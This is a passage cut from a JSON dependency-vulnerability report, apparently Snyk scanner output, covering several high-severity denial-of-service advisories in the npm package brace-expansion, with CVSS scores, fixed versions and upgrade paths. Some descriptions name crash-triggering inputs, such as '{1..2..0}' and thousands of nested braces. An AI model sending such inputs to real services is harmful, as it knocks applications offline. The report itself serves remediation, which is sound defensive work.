"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub 